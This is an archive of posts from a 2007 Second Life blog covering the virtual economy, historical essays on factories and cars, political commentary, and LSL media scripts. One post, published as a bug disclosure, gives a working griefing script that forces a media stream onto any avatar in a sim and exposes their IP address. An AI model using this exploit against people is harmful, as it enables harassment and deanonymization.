Wednesday, October 31, 2007

City On The Edge of Forever 2



30-Love

The land crash/casino ban/ginko collapse triggered an economic recession in Second Life. Our economy and demand have not recovered. We are also seeing inflation: gowns now regularly go for over 1000L. I remember when Vindi's 800L with shoes outfits were called "expensive." Now, they look like a steal.

This collapse hasn't been all bad, but dramatically reducing the price of prims, it has allowed many businesses to expand, and many people to buy land who could not. It has pushed down rental rates. The boom being over has also been matched by an increase in quality. My economist friends tell me about "reflation," and say that what is really happening in SL is that a professional class is emerging. People who can make their living in SL want to make at least a living wage. That means that hobbyist prices are beginning to be, well, for hobbyist work. I suppose they have a point, SL could not live forever sucking hopeful people out of their meager savings and tossing them aside. If nothing else the din of warning stories would gradually been to echo among the rent seeking classes.

Land prices have recovered somewhat, where as as recently as a week ago the first page of land sales for a mainland mature 1024 lot, the benchmark my land guru uses for the lowest price of land, was full of prices below 7L/m2 (Linden/square meter), now it is a page of 7L/m2.

At the same time the old problem of SL, that it is very hard to find anything, is with us. It is one thing to pay real money for real work, it is another to not find people who can do the real work. I want to start with looking at what may well be an iconic moment in second life's progress towards a the new SL. I've said there would be a new SL, based on the Real World coming to second life.

I am going to start with what may be an iconic build: the NBC universal build. Everyone involved in this triumph of the faux real style should be proud of the exquisite work and detail. However, it is also empty. Creating three D snapshots of the real world is an enterprise that is important and useful, and justifiably commands real world rates to do. It's might seem for a moment, that we are all going to be rolled over by people who can do this. But then go and look at where people actually go for actual amusement. Often the builds themselves are ... less.

The reason is that while money can buy time and talent, and no one should doubt Aimee's talent or the value of her time, it cannot buy activity. I've tlaked about "polydimensionality." What looks like three dimensions is really only one, the handling of space. The other dimensions of SL, however, are time, people and what might be called I suppose, the physics of Second Life, scripts, the behavior of prims, textures, avatars, animations and so on. While many builds from the large earldoms of SL are brilliant in the handling of the space dimension, they are empty of activity.

The poster child for this are the dozens of clubs that are built, and then have traffic that hovers around invisible. Most particularly the Playboy Mansion. More money was spent on it than I can imagine. And less has been gotten from it. While money has an advantage, it does not have avatars. Money can buy camping, and does so, but the very buying of camping reduces the activities that can be performed. One reason most big clubs are "poseball and shouting hosts" is because there is precious little else that works in a packed sim with 20 campers.

What we have inside of SL is the power of social content. I've seen this same conflict play out in other places: the people with money can build and buy and creating surfaces which are ohh so pretty. Or should I say: Oh. So. Pretty. As in: Worst. President. Ever. Or Get. A. Life.

It is life that is missing. Now life can be cheap. An orgy room is packed day or night with newbies and the nasty security people who ride heard over them, at least in the biggest places.

The combination that needs and wants to happen is that the outworlders start paying, and paying well enough to make it worth while, for inworld. So far outworlders want to pay hobby money. They think that because people come here for play, that if they throw out, basically, the same money they would pay for coupons in a circular, or free swag at a convention, that they hobbyists will play with them. This misses the very nature of Second Life, a nature that is not appreciated.

Second Life is not a world, it is not a country. It is a port city in the age of discovery, or a factory city at the brink of industrialization. Since industrialization and the emergence of what might be called "capital art" is something I do, let me take a short detour.

A factory is so named because what used to happen is that people carried parts from one stage of production to another. They had general responsibilities, and were not specialized. A "factotum" is a person with diverse responsibilities, and it is said to come from "fac totum" or "make everything."

The idea of a factory is quite old. We find pottery production which has been centralized quite early on, with all of the stages of production present in a small area. In medieval China, the centralization of production was common, and the Song Dynasty era saw production of iron, paper and other basic commodities in centralized places. On wag suggested that the printing of bank notes was important to the development of the factory, because the Song Dynasty needed so many of them, there was you see, a bout of paper money inflation that helped bring down the dynasty.

However the explosive moments in the factory come first with trade and then with the mill.

Trade between China and the rest of the world drove the creation of factories because the concentration of work was now more than convenient, it was valuable in making it so that changes in style, taste and materials could be rapidly spread, and control over the key resources made part of the advantage of the factory. For example, hard paste porcelain relies on two ingredients: the particular kind of white clay, and the particular kind of feldspar used. Without these correct ingredients, it does not form exactly the right result.

China, in exporting to Europe, did not merely centralize production of goods, it responded to demand, creating designs specifically for export. Concentrating control of resources, knowledge and creating the hothouse environment which made it possible for rapid changes in taste to be integrated from top to bottom made the factory a more and more important idea. There had been factories, even assembly lines, before, but what there had not been was a compelling reason to organize almost all of economic life around the model.

The second thing that made the factory take off, and what lead to what can be thought of as the modern factory, is combining production with the mill. A mill takes energy from some source, and turns it into usable mechanical energy. A water mill and a wind mill are the beginnings of this. However, the mill was not a factory, because it did one stage of processing. It took, say, grain in, and put flower out, which was then sent to bakeries. The combining of turning energy into motion, with the various stages of production is the beginnings of the manufactory, or the place everything is made.

Now rather than spin out the rest of the factory history, let's stop right there and think. Ports concentrate people for trade, there are easy entry level jobs available: moving boxes on and off of ships for example. There are jobs to support those jobs, bakers, butchers, coopers, whores. There are jobs to support those jobs: teamsters, doctors, police. The concentration of people near the new kind of activity, and means of life, creates a new society. The port factory city, and then the port industrial city, create new kinds of norms of behavior, new kinds of people to fill the new roles, and a new sense.

A good thing to look at is the games people play: with the coming of a higher standard of workmanship, and combined production, came the ability to create new textiles and clothes, instruments, and with them diversions. The harpsichord, for example, is an artifact of a far richer range of items than the medieval generally could assemble in one place. Shakespeare's time had seen a mania for tennis. Look at a tennis racket, and think about what that means for making it. The flowering of artisanship goes hand in hand with the flowering of the ways of making it

But just as the factory port city creates a mass of consumers who can also creates a mass of people looking for the new work and not finding it. The population of Second Life as it is should be regarded, then, not as an audience to advertise too, but as a core of "early adopters" who want to learn the technology, or who have learned the technology. The outworlders need to hire this core of people to turn their builds into sims. A sim, simulates. For a sim to simulate, it needs human activity. For that activity to work well, it needs people who can make this environment work.

One of the points I see repeatedly, and I would love to cite a couple of specific examples but cannot, is that beautiful builds make critical and obvious mistakes in set up and use.

Advantage: Avatar

So let me look at Second Life as Tudor London. In Tudor London real wages for skilled labor went up dramatically. Second Life, like Tudor London, draws people, not just from already existing cities, but from all over. Many people come to second life because they are from isolated areas and want to find the right kind of companionship or opportunity. This is not rare in these moments. The first people who are willing to put up with the discomfort and confusion of the factory city, are the people for whom the attractions of isolation seem vastly over-rated.

They are set to find a match, and this test becomes the baseline for which they drive.




This means that what people invest in is their avatar and the extensions of that avatar. These extensions can be a build, clothes, or many other things, but they are all part of the personal world that we bring with us and recreate in pixels, actions and connections. I am one of these people, insanely jealous and possessive of my presence in Second Life, I could never sell Lillie, even though she is worth more than probably any other single thing in Second Life I could sell.

Another fact of life in such a world is that many people have nothing to sell, and so they steal. One of the games in second life right now is to join groups and spam phishing sites. Sites that try and get people to type in their user name and password, which redirect them to autolog in URLs or ask them for such information as their ATM card. There are a host of other games. But this one is the one that is most designed to reap people's willingness to treat second life as "surfing." But while second life is part of the next wave of the internet it is not "web pages with 3D." Second life is 6D: space, time, people, physics. These dimensions interact in ways which physical dimensions do not. The vastpark model is the website model, Second Life is a city, and like cities, it has its pickpockets and pilferages.

What Second Life is is the combining of movement, the mill, with the ability to make everything. It turns processor in to a form of movement that we can, in a virtual sense, use. This means it aggregates energy in the same sense that blogs, wikipedia and social networking sites do, but not in the same way. This different way is harder to define the social value of, but easier to feel as it pours over you.

So what does this city on the edge of forever have to do next?

Find new worlds to conquer.

That's my next post in this series, and it is one where I get to the topic that really interests me, and that is the aesthetic needs of our new city on the edge of forever.

Bots for Ron Paul

Botsnet for Ron Paul spams propaganda.

"Do not Track"

Consumer advocates want a "do not track" list. something SLers should think about helping along.

Sunday, October 28, 2007

How to play your own media in Second Life


My friend WeiXaio figured this out based on the antenna code. Here is how to play local media files to your computer, including mp3s and .movs.

First create an antenna. Create an object, drop the antenna script in it. If the land is group owned make sure the permissions are set to all and shared with group, and then deed it to the group that owns the land.

Then download ans install the open source, free, Darwin streaming server. You will need to create a free apple ID to do this.

Install, and configure through the web forms based administration. Set number of connections to 5, since each application counts as a connection. Set the directory to where you want your media files to be. This is cAsE sEnSiTiVe on my mac and I imagine on Linux too. Don't ask me about windows.

Start the server. Don't broadcast over the internet, since all it will be doing is buffering local files. Set the bandwidth to g3, since it is local.

Open the quicktime player, type in

rtsp://localhost:/<name of a media file>

If this does not work, you've done something wrong in the configuration, go back and check to make sure the server is running, that it isn't on port 80 which interferes with other webservers on your machine, that the directory is correct, that the file is not corrupt. This will not play purchased iTunes content (of course) but only open file formats.

Now go in world, get in chat range of the antenna. Make sure video streaming is on. Chat on the antenna's channel, I used 55 as the default in the one I wrote:

/55 rtsp://localhost:/<name of a media file>

Hit play on the play tab below in the client.



It works. And it allows anyone within range of the antenna to set their stream, and it stays as long as the person is in that sim. It could be possible to start an open media movement in sl, with people putting out antennas. It could even be possible to set up a directory fo sims, with the id of the antenna in the sim. A person with the right gadget could

1. Look up sim's antenna
2. send IM by gadget to antenna
3. Antenna takes IM and does the antenna thing for htem.





integer chan=55;

default
{
state_entry()
{
integer new_chan;
new_chan = (integer) llGetObjectDesc();
if(new_chan> 0) chan = new_chan;
llSetText("chat on channel /"+(string)chan+" to watch any media stream,",<1,1,1>,1);
llListen(chan,"",NULL_KEY,"");

}

listen(integer channel,string name,key id,string m)
{

if ( llParcelMediaQuery([PARCEL_MEDIA_COMMAND_TEXTURE]) == [] ){
llInstantMessage(id, "Lacking permission to set/query parcel media. This object has to be owned by/deeded to the land owner.");
return;
}
llParcelMediaCommandList( [
PARCEL_MEDIA_COMMAND_URL, m,
PARCEL_MEDIA_COMMAND_AGENT, id,
PARCEL_MEDIA_COMMAND_PLAY ] );
return;

}
}

Saturday, October 27, 2007

The Automobile Avatar

One thing I am convinced of at this point is that my rl is an analog avatar. The face and clothes that people see is me, of a sort, but it is a negotiation between the possible, the desirable, and the socially acceptable. This last is a very fragmented thing, because it includes what specific people I care about find acceptable, what the anonymous world will put up with, and my own inner fears of what the outside world thinks, which often turn out to be either imaginary and overblown, or on occasion not as expandable as I had hoped. My analog avatar is me in very deep ways, because it is interwoven with the physical body that my mind is embodied with it, but it is not me exactly. There are connections which are different from any virtual me, but it is connected with many virtual mes. If someone sees my rl name on a paper, and knows me from my public, such as it is, self, that is a virtual me as well. Someone who writes in a voice that is like what I hear in my head, but is not.

My sl avatar is not connected with eating and other things I must do with my rl. But on the other hand, it is more intimately connected with my creative self than my analog avatar is. I do not say much of what I think and feel in the name of my analog avatar, and I didn't really choose that avatar's name. I didn't entirely choose this one either, but I had as much of a negotiation with it, and a bit more control, than over the name I was born to analog.

So the proton person has certain claims to me that are unique, but they are not overwhelming in every way. The proton person can't wither away, but at the same time, there is a flowering that can only come from my digital self.

A great deal of what I feel about Second life comes from a simple reality of my life, and lives. That is that the happiness I have in this world largely comes form my digital self, and I am far from alone in this. And yet my proton person's reality is not reflected in this. I cannot yet sustain that proton person with the happiness I create digitally. But is this a matter of too soon? Or perhaps as with the "horseless carriage" in 1895, it is still too new to build a world around.

I think on my own understandings, one thing that strikes me about the horseless carriage, invented at various times, but first unequivocally show to the world in 1881, was that a myriad of details would have to change. A world of cars is a world where large bustled skirts are not welcome. Women's fashions can be said to be a gauge of the penetration of the car in ways that mens' fashions really are not. And the change for us was double: the need to be able to move in and out of cars came attached to the more general ability to move around. The wealthy woman of the late Victorian took positive pride in her immobility, whether in China or in Europe or in Japan.

But think on the distance! The car is 1885! And there had been attempts and experiments with steam self propelled vehicles for almost 200 years by that point. The first automobile patent in the US is 1789! But it is not until after the first world war that woman's fashion full reflects the car, and that only finally floods outwards into the country side later. A full generation passes between the moment that the car happens, and it is finally the connecting reality. An essay on paradigms argues that until around 1930, the paradigm of the horseless carriage still dominated automobiles, and only when the concept of a car, as in railroad car, was the dominant paradigm, did the car as we know it become an indelible mark and inexorable force. So two centuries of stumbling, and it is still a generation before the innovation takes over!

These points are, of course, open to quibbles and other forces. Changes in fashion, the role of the factory, and other factors certainly had their sya, but women had been pressed into the work force for decades before the car. Women had been given, and lost, political rights for decades. Almost any other factor you can name was present, until the car was the fizz that made it pop.

What does this have to do with VR?

It's simple. Right now we wear the equivalent of corsets and bustles in our sex roles. VR may have had many waves of incarnation, but this wave is the one is going to demand that we shed those garments of another age, the garments that locked us into a hearth and home existence, bound us to normative scripts that were themselves fictions. The nuclear family isn't "traditional" it's a creation. People didn't evolve to live in suburbs. And no one can tell me that powdered orange cheese like substance surrounding hydrogenated vegetable oil is the diet we are meant to eat. The world out there isn't natural or real.

To go out into VR we need to be as free from these proton think scripts as our foremothers needed to dump the whale bone. That means seeing ourselves in the context of our digital selves, as much as talking on the telephone is normal to almost anyone born in the last century. The analog avatar has been used as an excuse for all kinds of just so stories. When in doubt, scare them with "what will happen to the children!" The threat that some particular freedom for women will be poverty for the children. It isn't freedom for women that leads to poverty for children, but instead slavery of women that does.

One simple example is the marriage that "stays together for the sake of the children."

It is one thing for a couple to hold together for a year while the last child leaves the nest. It is another for a pregnant mother to go back to an abusive man because of the economic consequences of being single. The permanent pair bond script is one that many people want and need, but it is not something that cona be enforced by a rule of fear. The old solution was the extended family. I am not advocating a return to it, but it does show that these decisions are not set in stone tablets, regardless of which mountain your prophet of choice came off of.

Once upon a time, if you think about it, people didn't live as long. Which means that divorce as we know it wasn't really as needed, because well nature had its own solution. Or if not nature than man's inhumanity to women, children and other men. Divorce is a social response to fluidity, metropolitan density, longer life spans and couch potato husbands. So is it so hard to balance the effects?

Or so hard to realize that since most people don't stay in one pair bond their whole life that the creation and dissolution of such unions is predictable, ordinary and part of our emotional experience? But without scripts to make this work,and they do exist because both ancient Rome and feudal Japan had them, people are left to improvise. Most people don't do that very well. Give me a guitar and I will show you how bad the results are. In digital reality, the permanent pair bond is rare as to be an oddity. The scripts of permanent pair bond are so broken as to lead some people in sl to pretend to die to get out of them.

Thus we are slowly creating scripts and norms that capture this fluidity. A fluidity that a world that depends more and more on VR to do its business will need.

One of the costs will be dumping proton think, and the argument that there is some particular clear relationship between the nature of our analog avatars, and the imperatives of social organization.

Friday, October 26, 2007

MTV's True Life

True Life: I Live Another Life on the Web

Do you sometimes feel as if you're living a double life? Are you pretending to be someone you're not? Do you have one identity in your everyday life, but a different one when you're alone and on-line? Does your virtual avatar make you feel confident behind your computer screen? Are you famous online but feel like you're invisible in real life?

Do you have trouble approaching someone for a date in person, but when you're behind the comfort of your computer, do the words just flow? Would you be afraid to be yourself if you were ever to come face-to-face with your online friends or companions? Do you get so caught up in the person you pretend to be on the web that you maintain that persona in person?

If you appear to be between the ages of 16 and 28, and live another life on the web, email us at: brosen@leftright.tv with your story.

Please be sure to include your name, location, phone number and a photo, if possible.

Wednesday, October 24, 2007

How to media grief someone - exploit with code example

Thanks to Stirling Allen for helping me test this one, and for Dizzy Banjo for bringing this to the attention of people, and to the Music-Dev list for going over the technical details. I am publishing this because it is an exploitable bug, and people should know about it until the bug is fixed.

Right now media settings are stored on a sim wide basis. A script can only change media if it is owned by a parcel owner, but it changes on a sim wide basis. The LSL function that changes the settings can be directed at a particular key and that is regardless of where the person is within the sim. Nor are permissions asked for. Here is the exploit:


default
{
state_entry()
{
llListen(55,"",NULL_KEY,"");
}

listen(integer channel,string name,key id,string m)
{
if ( llParcelMediaQuery([PARCEL_MEDIA_COMMAND_TEXTURE]) == [] )
llSay(0, "Lacking permission to set/query parcel media. This object has to be owned by/deeded to the land owner.");

llParcelMediaCommandList( [
PARCEL_MEDIA_COMMAND_URL, "http://www.americafree.tv/unicast_mov/AmericaFreeTVClassics.mov",
PARCEL_MEDIA_COMMAND_AGENT, (key) m,
PARCEL_MEDIA_COMMAND_TEXTURE,(key) "7419658d-b07d-3353-ed87-67b801cb6ff9",
PARCEL_MEDIA_COMMAND_PLAY ] );
}
}


You will need to replace "7419658d-b07d-3353-ed87-67b801cb6ff9" with any texture that you have access to, including public ones, it just happens to be the one I used here.

Now put this script in a group object, set the permissions for the next owner to all permissions. Chat on channel 55, that's just set abitrarily, the key id of the target avatar, who can be anywhere on the sim, and standing on a parcel with no media set.

The avatar's media will be forced to that set up, and will start playing. If the media stream is a site that the griefer controls, then they have just matched a key id to an IP address, because the connection of exposed IP to media is a known security problem.

This exploit has been tested in world, and works.

Oh and you can't turn it back off from your own client if you don't have the ability to set media settings, unless you have a similar script you can run on land that the script has permissions on.

This needs to be fixed.

[UPDATE]

Fixed does not mean removed. This same command feature can be used to let people listen to whatever media they want, and is used in several in world products. For the same reason that huge prims should stay, so should this.

Tuesday, October 23, 2007

A simple antenna

This script will reset the media on a parcel for whoever chats at it, not for everyone, just for the avatar that does it. The object and the script need to be owned by the group or land owners, but the avatar chatting does not need to be in the owning group.

I've set it to a default channel of 55.


default
{
state_entry()
{
llListen(55,"",NULL_KEY,"");
}

listen(integer channel,string name,key id,string m)
{
if ( llParcelMediaQuery([PARCEL_MEDIA_COMMAND_TEXTURE]) == [] )
llSay(0, "Lacking permission to set/query parcel media. This object has to be owned by/deeded to the land owner.");

llParcelMediaCommandList( [
PARCEL_MEDIA_COMMAND_URL, m,
PARCEL_MEDIA_COMMAND_AGENT, id,
PARCEL_MEDIA_COMMAND_PLAY ] );


}


}


Features can be added to this as needed.

Bury Marx and Hayek in the same grave



One thing you don't see a great deal of in Second Life is biblical fundamentalism. I had my fling with it, in an act of teenage rebellion I attended some bible study "classes." It lasted about two days, when they got warmed up and talked about Young Earth Creationism. My scientific soul wouldn't part with Darwin for a ham handed reading of the first chapters of a text written before people had toilet paper.

I'm not religious, though I am fascinated by mythology, however Darwin and Hubble would have to qualify as two of the people in my pantheon of prophets. Things change in an orderly way, and they are very very old. Of course, science is interconnected. The nature of change, and the age of change are like threads on a sweater, pick at them, and other things begin to unravel: physics and chemistry, biology and geology, and then the mathematics that holds them together must, in the end, be abandoned. I might give up incense and Buddha statues for Christ, but I won't give up the wondrous forms I see in the microscope, and the principles that make those forms an intrinsic expression of the nature of the universe. You can get me to believe that there is a miracle of the universe. You can't get me to believe that God is malicious about it. This may or may not be a good belief.

This is why I have to smile wickedly, and disagree vehemently with Gary Kamiya. He says that Bush has wrecked American conservatism, and he asks where is it written that conservatives have to be stupid. I will say it is written any place where it says "the bible is that absolute literal word of God." The two amount to the same thing.

He also say something remarkably foolish about the discussion:


Bush's presidency has made a shambles of real conservatism. Let's leave aside the issues on which liberals and conservatives can be expected to disagree, like his tax cuts for the rich, expansion of Medicare or his position on immigration, and focus solely on ones that should be above partisan rancor -- ones involving the Constitution and all-American values.


A tax free upper class, like Young Earth Creationism, is another place where it is written that conservatives have to be stupid. The other policies that Gary talks about, are not in isolation from this obsession:


belief in individual agency and responsibility, respect for American institutions and traditions, a resolute commitment to freedom, a willingness to take principled moral stands. It is a movement that draws its inspiration from towering figures: Adam Smith, Thomas Jefferson, Edmund Burke. It stands for caution in foreign adventures, fiscal sobriety and a profound respect for tradition.


Fiscal sobriety. A very nice phrase, but as even my reflexively Republican relatives have noted, we have been in Greek Speak: "sooooooooooo drunk." If you know the joke I am talking about, you know what comes next. "I said, I am sooooooo drunk."

What conservatism has been, for my entire lifetime (I don't know about the past that people keep fighting over; I wasn't alive in either "The Great Depression" or the 1960's) has been a very Marxist/Millenairian kind of assertion: that all other philosophies lead to catastrophe, and that if the faith does not lead ot catastrophe, it is therefore proof that all is well. American conservatives are like the people who pray every day for the sun to come up, and argue that as long as the sun does come up, it is proof that their prayers are important.

The war is not in isolation from the resolute refusal to refuse to pay for it, and it is not separable from "conservatism." I know that in liberal circles right now there is an obsession of framing, and one that is very useful I think: to get libertarians to defect from the Republican coalition. The reason for this is fairly clear, libertarians, not religious conservatives, are really the abused base of the Republican Party as I see it. Thy keep voting for freedom and lower taxes. They keep not getting it. Let me take an example, because while I don't know where the buckle of the bible belt is, I will tell you that the Church of Libertarianism is as close to the state religion of Second Life as you will find. If there is a an equivalent of the Buckle Bible Belt of Libertarianism in America, Second Life is it.

Now, ask me the last time a Republican aligned member of the supreme court came out for legalization of marijuana and other currently illegal drugs. This is a belief which is endemic to the libertarians I know, whose belief on such things can be summed up in the Wiccan phrase "if it harm none, do as you will." It's no more crazy than the belief that torturing people gets anything of use out of them. When was the last time a Republican Attorney General came out for ending the war on drugs?

So, on one hand, I can see why there is a practical political engineering reason for liberals to want to tell the anti-tax-anti-government-anti-liberal-leave-us-alone coalition that the Republican Party is not for them. But I will say something relatively straight forward:

It won't work.

This is because libertarians and traditionalists both believe exactly the same thing about freedom. Certain people have unlimited freedom. Everyone else? They have to live with whatever rules are imposed on them. Let me have you read the Terms of Service for second life. Under it, though I doubt it would be enforceable in a court of law, that's why the Bragg case was settled as it was, LL can take away anything at any time for "any reason or no reason at all." It's Murphy's Golden Rule: "he who has the gold, makes the rules." And it is the rule that both the libertarian movement and the traditionalists believe in. All freedom for the people who are supposed to be free, and sweeping out the back room for the immigrants and unverifieds that aren't to be trusted with freedom. Reasonable limits on the freedoms of the wrong people.

Both wings also believe that you can quickly and easily tell the difference between people who are supposed to be free, and the ones that aren't. In the real world it is often skin color and facial features. In Second Life, it is a little box on your profile. It is the same kind of neo-racist thinking: that a simple visual test tells you enough about the state of someone's soul to tell whether or not they are trustworthy. It isn't the religious fundamentalists who have come up with this odious theory here in Second Life, it is the same business class that subscribes to being unregulated, tax-free, and all powerful with whatever they call "my property."

What keeps the current libertarian movement and the current religious extremists together, is that that they live in the same neo-feudal cave, hiding out from almost everything that has happened to the world since 1750. John Locke and Cotton Mather are both products of the same epoch. This is why you find lots of people who are both unquestioning God and Country types, and unquestioning libertarians. The failure isn't that these two ideas are irreconcilable, it is that they are both wrong and come from the same wrong idea. The internal contradictions between the two wings are really only useful when some one is trying to worm their way out of facing up the the cataclysmic failure of modern conservative ideology, because they can say that some small action or other was the heresy that doomed the whole enterprise, and their pet version of the anti-modern idea won't be disproven until it has been given unlimited power and money to invade a country and set up a new order.


What the libertarians are souring on, is the war. Or rather, the way the war was run. But they ran this war. Look at how the new Iraq Republic was supposed to be set up. No more radical libertarian enterprise can be described. Everything is in the hands of private armies. We are paying for more mercenaries in Iraq than we are soldiers. While libertarianism here is ignored in the law, in Iraq, it was put into effect, at least as far as making money is concerned. Private armies are above the law there, that's the law. No rules, just profit and fun.

What can be said without equivocation is that it has had the predictable effect: catastrophe. Not just disaster, but cat-tat-stro-phe. Iraq doesn't work as a country. It doesn't have electricity or running water. It doesn't have security. The libertarian will tell you that private anything does better than private everything. We've spent untold dollars on an experiment devoted to the conservative theory that Guns, God and Gold can run the world.

This is the same view as what Gary calls "the traditionalists." There are some people who deserve freedom, and there are most people who must obey. In Second Life, they believe that the lesser people don't even have the right to buy cloths or go to the house on land that they rent.

I invite Gary, or any liberal thinking of prying the two poles apart long term, to come to Second Life and I can show them root and branch what I mean.


But there is a second part to this. And important second part. If Libertarianism is one wing of criticism of the world the way it is, then there is another. One that is as endemic. That wing is Marxian thought. Even people who are not Marxists, are Marxians. What is the difference. A Marxists buys the whole evils of the capitalists class and eventual crisis thing. Marxian thought however is based on the assertion that cultures are dominated by the objective needs of their means of production. Second Life is as much a disproof of this notion as it is a disproof of unfettered buying and selling and dictatorship of property ownership.

I say this because Second Life is utterly disconnected from the objective means of production of food and every other necessity. There is no "media" to speak of here. If anything, second life culture should be very different from the outside world. It isn't. It has the same problems, it has the same people in it. This "new world" or "new country" looks a great deal like the old country and the old world.

Marxian thought is very appealing to a student of what could be called "social science," precisely because it offers what looks like a scientific basis for studying society. Measure the needs, count the factories, see who needs what. Then culture must follow. It is a notion so appealing that even conservatives have adopted it.

It's also, as second life proves, utterly wrong. People make the world they live in, they decide what things they can and can't put up with, and technology follows the models that people want. We have a permissions system for property on Second Life, it is horribly broken, in that it neither protects the rights of people who buy the license to use things, nor does it protect the sellers in their digital rights. But the permissions system didn't fall out of the mind of God or any natural laws I know of. It was set up by people out of their decisions as to what property looked like. There are a host of other artificial restrictions in second life, for example media streams being attached to parcels, that come, not out of the objective means of production, but the cultural and personal needs of the people who created them.

I've been meaning to write this for some time, I know it will offend many people, some of whom are dear friends. If Libertariansim and Christianism share a common cave in hating the modern world and wanting to go back to the time when every lord was his own master, then Marxian thought is an adherence to a science that is not valid, but is very convenient to laying out ideas. Like say, "Race," is a concept that was once needed for science, but is, in fact, horribly,terribly, and unworkably flawed. "objective materialism," is the race of social science: that what you can see and count is a sign of the genetic reality that predicts the future.

Second Life's value is not that it is a new world, but instead that it is a laboratory for the old world. It has measured both wings of the theory and, I use this world in quotes, "idealism," of the old world. Both are wrong, and need to be erased from our thinking. The world will not run better if some easily discoverable elite is put in charge of it. Societies are not zombie automata of the capital that produces them. More or less every word written about social culture in the 20th century is based on two flawed would be basic principles, really "meta-narratives," about how the world works.

While in the short term it might be good politics to play shell games with this, and to try and convince peoples that they are different, when they are really the same, in the long term the libertarian worshipers of dictatorship of property and the religious worshipers of a dictatorship of theocracy will form back together again, for the simple reason that property dictatorships are unnatural, and sooner or later you will need a God to say that the people who are poor and disempowered are poor and disempowered because they deserve to be poor and disempowered. I'm sitting a couple of hundred meters away from the office of a future Nobel Prize winner in economics who is working on proving that religion is the key to economic development. I can, if I walk out on to the street, see the building he has an office in. Gary, and others, can say the two are different every day for a decade, and it won't change the reality that they are the same. It isn't that the two parts are irreconcilable, it is that both are irreconcileable with reality, and the flaws in one are used to cover the flaws in the other.

While in the short term it is very comforting to tell yourself that media and holders of power and capital determine the course of the world, that physical facts dictate what is to happen in society, the reality is the reverse. We decide which physical facts we aren't willing to live with, and which ones we are wiling to die with.

It's time to bury Marx and Hayek in the same grave. And put on the gravestone: "Killed in Iraq, interred in Second Life."

Sunday, October 21, 2007

Uthango Pavillion




This is the pavillion for the Uthango charity event next week. They need greeter volunteers desperately. If you are interested contact LinLin Yip or myself in world.
Uthango is an NGO based in Africa that focuses on sustainable development, and they do excellent work. they are also in world, and using Second Life as part of their strategy to network and grow awareness of their work. Their "virtual Africa" project is exciting and a contribution to Second Life.

I'm happy to have been able to help their work in a small way.

Sound in world

Media is changing soon in sl. What i ouwld really like is the ability to access media already onmy computer to lsiten in sl, and the ability to choose among several local streams offered locally. In the browser, not on a HUD. Steps are being taken, however, to at least move away from the 1 parcel = 1 stream model.

Friday, October 19, 2007

City On The Edge of Forever 1



City on the Edge of Forever

It is a classic TOS episode: Kirk and Spock travel back in time to fix the damage done by McCoy. They find that the damage is saving a peace activist who would have delayed America's entry into World War II long enough for the Nazi's to finish their atomic weapons research.

But there are, in history, many cities on the edge of forever. Jerusalem has been that city, as had Rome. I would say that people in the west do not understand how Beijing has been the city on the edge of forever.

Second Life may become, and wishes to be, a city on the edge of forever.

The Poisonous Summer

For Second Life's residents August was a poisonous month, instability, the collapse of Ginko, the gambling ban, the land collapse, the shock of resident growth flattening out when every assumption in Second Life was that it would grow steadily forever combined to rape confidence. There were many maladies and many anxieties, even companies tied at the him to Linden Labs made equivocal statements about the future. The impact is still not over: in the computer world, a company that raises prices for the same service is more than an oddity, it is a freak. LL just slapped VAT on as a surtax, effectively raising prices by 20% for its European paying members. Fears rattle the community about property rights and LL's attitudes towards user created content mechanisms.

I will remember in August even high priced service providers telling me they felt the pinch, how club owners and well known content providers saw sales plummet. How many people talked to me saying they were on their way out of Second Life. I heard girls who worked for the best known clubs tell me that there were long dry days. The owners of the most famous PG dance lounge on SL left to pursue their own real world. One fertile hunting ground after another snapped. It seemed as if there was no bottom, seems still, as if there is no bottom. I remember an all night conversation with a friend about how the future of the internet didn't seem to be what it used to be. Even small events took on disproportionate weight.

But if August is when the hammer came down, July could only be called a month of giddy anxiety. There was a looming fear, or rather a cloud of looming fears. What would voice do to those who wanted to keep their identities private? What would the Bragg case mean. It turned out that the most important decision that LL makes is the land supply and money supply decisions, and what the populace did not generally grasp is that LL was about to extract 40% of the value invested as "land" and pocket it by a massive mainland dump. The results took down those who had bought islands hoping to resell them as high end residential areas. The fee increase from $195 to $295 has given a massive structural advantage to those who were island owners first, even as mainland holders saw their investments become unstable.

It is a moment I felt over and over again: friends leaving forever from Second Life, never to return. The poison still courses through the veins of Second Life, celebratory mood of SL4B turned to sour acrimony. Organizations like Second Citizen collapsed in flames and feuding. Even adversity smashed people apart producing such hate filled attempts at dictatorship as the "Metaverse Republic." Crashes and inventory losses, no copy objects merely vanishing when rez failure occured, all contributed to a rising anger that was echoed even from former people very close to LL.

September rolled through and nothing seemed to get better. The tide has gone out, but it has not yet turned. However, perhaps, it is stirring.

The Winds and Waves of Change

This upheaval is currently obvious in my own line of work: the Big Three of months and months of my existence: Bad Girls, Arsheba and Elements, have been swamped. Bad financial decisions capsized Arsheba, which retreated to a boutique club status. Elements ended its fighting of the camping wars, and held on. BGs did as well, to drop out of the top 20. Instead throw back clubs Lucifer's and the Galaxy, knock offs of Element's successful formula of a bland inside builds, constant events, campers and lag, and a relentless focus on the club goers rather than the product. All that is old is new again. Someone going to Elements now finds better dancing, better announcing, better staff, and fewer people. Instead the Galaxy is the place that most resembles the Elements of earlier in the Year. Lucifer's is a Bad Girls wannabe. However, they are both fires stoked by camping, and it remains to be seen whether they can monetize the camping they have. However, they have already transfigured the landscape of the top of the direct sex club world. The four major content clubs in the direct sex world are now Lucifer's, Bad Girls, The Galaxy and Elements. The differences is that BG's and Elements are established, and it is yet to be clear that Galaxy and Lucifer's can monetize their campers and camp.

I will say straight up that any escort that buys an ad at Lucifer's is wasting her money, and yes, I did that experiment. Already competitors are complaing of Lucifer's cut throat tactics. Instead I would put it this way. Lucifer's and the Glaaxy are one step, a bare step, but a clear step, above teh camper clubs, which have almost nothing, except in the way of pretense, of content. Lucifer's and the Galaxy supply social context, and if it is of the ordinary kind run by better people who know more about what they are doing than an average club, it is still very real.

The winds of change have blown steadily, and they are pushing up a wave of change. This wave of change can be seen clearly in the Phat Cat's redesign.


